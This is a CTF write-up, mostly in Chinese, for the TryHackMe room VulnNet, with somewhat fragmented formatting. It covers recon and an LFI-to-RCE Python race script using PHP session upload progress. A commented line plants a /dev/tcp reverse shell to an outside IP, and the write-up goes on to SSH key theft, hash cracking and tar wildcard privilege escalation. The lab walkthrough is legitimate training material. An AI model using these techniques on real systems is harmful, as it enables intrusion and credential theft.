URL : https://tryhackme.com/room/vulnnet1
IP : 10.10.86.144
- 題目敘述
You will have to add a machine IP with domain vulnnet.thm to your /etc/hosts
Recon
- 掃 Port
rustscan -a 10.10.86.144 -r 1-65535
nmap -A -p22,80 10.10.86.144-
掃目錄- python3 dirsearch.py -u http://10.10.86.144/
發現登入頁面- 
- 戳了常見的 SQLi 都不行觀察網頁連結-
透過 js formatter 轉漂亮
- broadcast.vulnnet.thm - 加到
/etc/hosts前面的階段也可以用LinkFinder-python3 linkfinder.py -i http://vulnnet.thm/
python3 linkfinder.py -i http://vulnnet.thm/js/index__d8338055.js-
發現首頁可以帶一個 ?referer參數訪問broadcast.vulnnet.thm-
- 發現需要登入觀察首頁
referer參數- 發現可以 LFI
用 Session upload progress 大法
import grequests
sess_name = 'meowmeow'
sess_path = f'/var/lib/php/sessions/sess_{sess_name}'
base_url = 'http://vulnnet.thm/index.php'
param = "referer"
#code = "file_put_contents('/tmp/shell.php','& /dev/tcp/10.13.21.55/7877 0>&1'");'''
while True:
req = [grequests.post(base_url,
files={'f': "A"*0xffff},
data={'PHP_SESSION_UPLOAD_PROGRESS': f"pwned:"},
cookies={'PHPSESSID': sess_name}),
grequests.get(f"{base_url}?{param}={sess_path}")]
result = grequests.map(req)
if "pwned" in result[1].text:
print(result[1].text)
break
- 然後就 RCE 了

- (感覺就不是正規解…ㄏㄏ
提權
python3 -c 'import pty; pty.spawn("/bin/bash")'- 掃豌豆

- 找到 backup
觀察 backup 檔案,發現有 ssh-backup- 
- 偷出來解壓縮-

- 發現是
id_rsa
到家目錄看使用者名稱- 
server-management發現是server-management準備 ssh 登入-
- 發現
id_rsa需要密碼 QQ用約翰爆破-python3 ../../ssh2john.py id_rsa > id_rsa_john 
- 密碼是
oneTWO3gOyacSSH 登入-
- 取得 user flag跑豌豆掃到
.htpasswd密碼的 hash- 猜測應該是給broadcast.vulnnet.thm用的 
- 用約翰爆破個

- 密碼是 ``9972761drmfsls
猜測原始思路正規解法應該是 LFI 到這個檔案訪問 broadcast.vulnnet.thm- 使用帳號developers密碼9972761drmfsls`
- 推測這應該是某個有 RCE 洞的 CMS - 正規解是從這邊進 RCE ㄅ
- 隨便
二次提權
- 想起前面的 Backup 用了
tar *所以可以快速提權
接 Shell-
取 Root Flag- 